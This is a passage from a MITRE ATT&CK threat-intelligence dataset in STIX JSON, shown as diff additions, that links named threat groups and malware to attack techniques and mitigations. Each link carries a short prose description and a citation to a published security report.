"relationship--2426519f-c915-4c8f-8164-0d93dbbf0be1", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:44.706Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--620ab17a-3e46-4083-82b0-aeff74d104cd", + "source_ref": "course-of-action--1e4ef2c7-ee96-4484-9baa-3b5777561301", + "modified": "2019-07-24T14:31:55.476Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "description": "[APT28](https://attack.mitre.org/groups/G0007) uses a module to receive a notification every time a USB mass storage device is inserted into a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.040Z", + "id": "relationship--56d023cf-4390-40d9-afc6-cb0d40b4cdd1", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:34.830Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "source_name": "Microsoft SIR Vol 19", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.022Z", + "id": "relationship--f004e6c4-0c37-4060-9627-9ec0940aee9c", + "source_ref": "course-of-action--74febc44-8955-4e4d-aca0-d4dad2f967d7", + "modified": "2019-07-25T11:28:40.651Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "Malware used by [Group5](https://attack.mitre.org/groups/G0043) is capable of remotely deleting files from victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.078Z", + "id": "relationship--a9bc7666-f637-4093-a5bb-4edb61710e45", + "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40", + "modified": "2019-07-25T17:52:06.552Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", + "source_name": "Citizen Lab Group5", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) payloads download additional files from the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.077Z", + "id": "relationship--da734f6c-de0d-44f1-9521-6607b800ad43", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.681Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.", + "source_name": "Securelist Dropping Elephant", + "url": "https://securelist.com/the-dropping-elephant-actor/75328/" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "TRINITY malware used by [FIN6](https://attack.mitre.org/groups/G0037) encodes data gathered from the victim with a simple substitution cipher and single-byte XOR using the 0xAA key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.072Z", + "id": "relationship--0c78e3a7-45c5-454f-8905-a831fbede841", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.555Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has tunneled RDP backdoors over port 443.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--9da92f82-172d-4375-9bcd-f148bfe13418", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.582Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.028Z", + "id": "relationship--4fa2cbf0-9721-4bbe-86b4-334848cd3dd6", + "source_ref": "course-of-action--5c167af7-c2cb-42c8-ae67-3fb275bf8488", + "modified": "2019-10-18T13:53:44.439Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.026Z", + "id": "relationship--3d635b23-78b7-4de4-9417-8077787c7c0b", + "source_ref": "course-of-action--5c49bc54-9929-48ca-b581-7018219b5a97", + "modified": "2019-10-08T21:05:16.833Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.037Z", + "id": "relationship--de979692-5ca5-4874-bfc8-91cea8697ef1", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.343Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) scanned network services to search for vulnerabilities in the victim system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4258ffdf-ecdb-465d-af16-bda97062ab7f", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "modified": "2019-03-25T14:12:13.363Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample performs reflective DLL injection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c055d228-a0e6-4b76-961a-1eebe99679f5", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:44.703Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T18:59:16.545Z", + "id": "relationship--6dbb3a1e-5fb4-4494-950c-570616302ece", + "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "modified": "2019-05-03T16:42:19.239Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover information in the Windows Registry with the reg query command. [Turla](https://attack.mitre.org/groups/G0010) has also retrieved PowerShell payloads hidden in Registry keys as well as checking keys associated with null session named pipes .", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.045Z", + "id": "relationship--519c4c7f-8495-4b8a-b58e-551a78e469cc", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.729Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--f0094ba8-a513-49bf-a5d7-961aaab13380", + "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", + "modified": "2019-03-22T19:55:13.760Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) has sent spearphishing emails with password-protected RAR archives containing malicious Excel Web Query files (.iqy). The group has also sent spearphishing emails that contained malicious Microsoft Office documents that use the \u201cattachedTemplate\u201d technique to load a template from a remote server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e3425903-a09d-44e2-b033-daadc8208ff5", + "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "modified": "2019-04-22T19:23:13.461Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit 42 Phishery Aug 2018", + "description": "Falcone, R. (2018, August 07). DarkHydrus Uses Phishery to Harvest Credentials in the Middle East. Retrieved August 10, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[APT19](https://attack.mitre.org/groups/G0073) used TCP port 80 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1ed35fc6-ea81-4669-9fd3-997422febe09", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.056Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) likely obtained a list of hosts in the victim environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--61e11940-0a88-48c8-8532-e57b5bb6bdb6", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.453Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has downloaded additional code and files from servers onto victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--47f521b8-37e4-489d-b6eb-25f35de80aae", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.183Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has used a credential stealer known as ZUMKONG that can harvest usernames and passwords stored in browsers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--5e596415-354e-4ccc-bc9d-3deb3fe5de1e", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.572Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--ab83d817-57b8-4970-afc6-fbd70c6e3760", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "modified": "2019-04-24T19:41:25.865Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--fc79f30d-94c8-400e-ab10-21d2a2527788", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.435Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + }, + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used tools to take screenshots from victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.039Z", + "id": "relationship--48f662fe-1ba2-4c19-b782-dd06d9fb67fa", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-18T15:14:12.704Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to collect the victim PC name and operating system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4caf9f0d-dfe9-48ce-9b6e-812577e09711", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has leveraged a zero-day vulnerability to escalate privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--3d4737ca-bd18-4628-b453-9aed3f555c13", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "modified": "2019-05-10T12:14:32.059Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) uses malicious documents to deliver remote execution exploits as part of. The group has previously exploited CVE-2017-8570, CVE-2012-1856, CVE-2014-4114, CVE-2017-0199, and CVE-2015-1641.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--74316a28-d1a6-40b8-8c49-836f06e90e02", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.661Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "source_name": "Cymmetria Patchwork", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.", + "source_name": "Securelist Dropping Elephant", + "url": "https://securelist.com/the-dropping-elephant-actor/75328/" + }, + { + "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.", + "source_name": "Symantec Patchwork", + "url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries" + }, + { + "source_name": "PaloAlto Patchwork Mar 2018", + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + }, + { + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "source_name": "Volexity Patchwork June 2018", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--50cc59f8-6d62-4140-b5c6-40da528a5e13", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "modified": "2019-03-22T20:15:19.491Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) checks for new hard drives on the victim, such as USB devices, by listening for the WM_DEVICECHANGE window message.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f9c7d0e1-135f-4e21-8251-3049bc24c18d", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[ChChes](https://attack.mitre.org/software/S0144) can encrypt C2 data with a custom technique using MD5, base64-encoding, and RC4.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6586cae6-bf7a-4b1d-ab5c-53106d1db5c4", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese 